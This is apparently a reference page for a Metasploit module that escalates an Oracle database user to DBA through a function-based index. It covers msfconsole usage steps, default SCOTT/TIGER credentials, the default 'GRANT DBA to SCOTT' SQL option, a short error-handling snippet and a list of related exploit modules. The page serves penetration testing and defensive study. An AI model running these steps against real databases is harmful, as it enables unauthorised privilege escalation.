Oracle DB Privilege Escalation via Function-Based Index - Metasploit
This page contains detailed information about how to use the auxiliary/admin/oracle/oracle_index_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Oracle DB Privilege Escalation via Function-Based Index
Module: auxiliary/admin/oracle/oracle_index_privesc
Source code: modules/auxiliary/admin/oracle/oracle_index_privesc.rb
Disclosure date: 2015-01-21
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 1521
List of CVEs: -
This module will escalate an Oracle DB user to DBA by creating a function-based index on a table owned by a more-privileged user. Credits to David Litchfield for publishing the technique.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/oracle/oracle_index_privesc
msf auxiliary(oracle_index_privesc) > show targets
... a list of targets ...
msf auxiliary(oracle_index_privesc) > set TARGET target-id
msf auxiliary(oracle_index_privesc) > show options
... show and set options ...
msf auxiliary(oracle_index_privesc) > exploit
Knowledge Base
Vulnerable Application
Verification Steps
- Install the application
- Connect via sqlplus, and check current privileges:
- Ex:
sqlplus SCOTT/[email protected]:1521/XEXDB
- Ex:
SELECT * FROM session_privs
- Ex:
- Start msfconsole
- Do:
use auxiliary/admin/oracle/oracle_index_privesc
- Do: set
SQL
, andTABLE
if desired - Do:
exploit
- Reconnect with sqlplus and check privileges post-exploit:
- Ex:
sqlplus SCOTT/[email protected]:1521/XEXDB
- Ex:
SELECT * FROM session_privs
- Ex:
Options
SQL
The SQL that will execute with the privileges of the user who created the index. Default is to escalate privileges.
TABLE
Table to create the index on.
Go back to menu.
Msfconsole Usage
Here is how the admin/oracle/oracle_index_privesc auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/oracle/oracle_index_privesc
msf6 auxiliary(admin/oracle/oracle_index_privesc) > show info
Name: Oracle DB Privilege Escalation via Function-Based Index
Module: auxiliary/admin/oracle/oracle_index_privesc
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-01-21
Provided by:
David Litchfield
Moshe Kaplan
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DBPASS TIGER yes The password to authenticate with.
DBUSER SCOTT yes The username to authenticate with.
RHOST yes The Oracle host.
RPORT 1521 yes The TNS port.
SID ORCL yes The sid to authenticate with.
SQL GRANT DBA to SCOTT yes SQL to execute.
TABLE SYS.DUAL yes Table to create the index on.
Description:
This module will escalate an Oracle DB user to DBA by creating a
function-based index on a table owned by a more-privileged user.
Credits to David Litchfield for publishing the technique.
References:
http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf
Module Options
This is a complete list of options available in the admin/oracle/oracle_index_privesc auxiliary module:
msf6 auxiliary(admin/oracle/oracle_index_privesc) > show options
Module options (auxiliary/admin/oracle/oracle_index_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
DBPASS TIGER yes The password to authenticate with.
DBUSER SCOTT yes The username to authenticate with.
RHOST yes The Oracle host.
RPORT 1521 yes The TNS port.
SID ORCL yes The sid to authenticate with.
SQL GRANT DBA to SCOTT yes SQL to execute.
TABLE SYS.DUAL yes Table to create the index on.
Advanced Options
Here is a complete list of advanced options supported by the admin/oracle/oracle_index_privesc auxiliary module:
msf6 auxiliary(admin/oracle/oracle_index_privesc) > show advanced
Module advanced options (auxiliary/admin/oracle/oracle_index_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/oracle/oracle_index_privesc module can do:
msf6 auxiliary(admin/oracle/oracle_index_privesc) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/oracle/oracle_index_privesc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/oracle/oracle_index_privesc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Error! <E.MESSAGE>
Here is a relevant code snippet related to the "Error! <E.MESSAGE>" error message:
75: prepare_exec(clean_index)
76: print_status('Cleaning up function...')
77: prepare_exec(clean_func)
78: print_status('Exploit complete!')
79: rescue ::OCIError => e
80: print_error("Error! #{e.message}")
81: end
82: end
83:
84: def prepare_exec(query)
85: print_status(query)
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10318 Merged Pull Request: Add Oracle DB Priv Esc via function-based index
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/oracle/oracle_login
- auxiliary/admin/oracle/oracle_sql
- auxiliary/admin/oracle/oraenum
- auxiliary/admin/oracle/ora_ntlm_stealer
- auxiliary/admin/oracle/osb_execqr
- auxiliary/admin/oracle/osb_execqr2
- auxiliary/admin/oracle/osb_execqr3
- auxiliary/admin/oracle/post_exploitation/win32exec
- auxiliary/admin/oracle/post_exploitation/win32upload
- auxiliary/admin/oracle/sid_brute
- auxiliary/admin/oracle/tnscmd
- auxiliary/scanner/http/oracle_demantra_database_credentials_leak
- auxiliary/scanner/http/oracle_demantra_file_retrieval
- auxiliary/scanner/http/oracle_ilom_login
- auxiliary/scanner/oracle/oracle_hashdump
- auxiliary/scanner/oracle/oracle_login
- exploit/multi/http/oracle_ats_file_upload
- exploit/multi/http/oracle_reports_rce
- exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
- exploit/unix/webapp/oracle_vm_agent_utl
- exploit/windows/browser/oracle_autovue_setmarkupmode
- exploit/windows/browser/oracle_dc_submittoexpress
- exploit/windows/browser/oracle_webcenter_checkoutandopen
- exploit/windows/http/oracle_beehive_evaluation
- exploit/windows/http/oracle_beehive_prepareaudiotoplay
- exploit/windows/http/oracle_btm_writetofile
- exploit/windows/http/oracle_endeca_exec
- exploit/windows/http/oracle_event_processing_upload
- auxiliary/admin/http/cisco_7937g_ssh_privesc
- auxiliary/admin/http/joomla_registration_privesc
- auxiliary/admin/http/manageengine_pmp_privesc
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/gather/vbulletin_getindexablecontent_sqli
- auxiliary/scanner/oracle/emc_sid
- auxiliary/scanner/oracle/isqlplus_login
- auxiliary/scanner/oracle/isqlplus_sidbrute
- auxiliary/scanner/oracle/sid_brute
- auxiliary/scanner/oracle/sid_enum
- auxiliary/scanner/oracle/spy_sid
- auxiliary/scanner/oracle/tnslsnr_version
- auxiliary/scanner/oracle/tnspoison_checker
- auxiliary/scanner/oracle/xdb_sid
- auxiliary/scanner/oracle/xdb_sid_brute
- auxiliary/sqli/oracle/dbms_cdc_ipublish
- auxiliary/sqli/oracle/dbms_cdc_publish
- auxiliary/sqli/oracle/dbms_cdc_publish2
- auxiliary/sqli/oracle/dbms_cdc_publish3
- auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription
- auxiliary/sqli/oracle/dbms_export_extension
- auxiliary/sqli/oracle/dbms_metadata_get_granted_xml
- auxiliary/sqli/oracle/dbms_metadata_get_xml
- auxiliary/sqli/oracle/dbms_metadata_open
- auxiliary/sqli/oracle/droptable_trigger
- auxiliary/sqli/oracle/jvm_os_code_10g
- auxiliary/sqli/oracle/jvm_os_code_11g
- auxiliary/sqli/oracle/lt_compressworkspace
- auxiliary/sqli/oracle/lt_findricset_cursor
- auxiliary/sqli/oracle/lt_mergeworkspace
- auxiliary/sqli/oracle/lt_removeworkspace
- auxiliary/sqli/oracle/lt_rollbackworkspace
- exploit/windows/oracle/client_system_analyzer_upload
- exploit/windows/oracle/extjob
- exploit/windows/oracle/osb_ndmp_auth
- exploit/windows/oracle/tns_arguments
- exploit/windows/oracle/tns_auth_sesskey
- exploit/windows/oracle/tns_service_name
Authors
- David Litchfield
- Moshe Kaplan
Version
This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.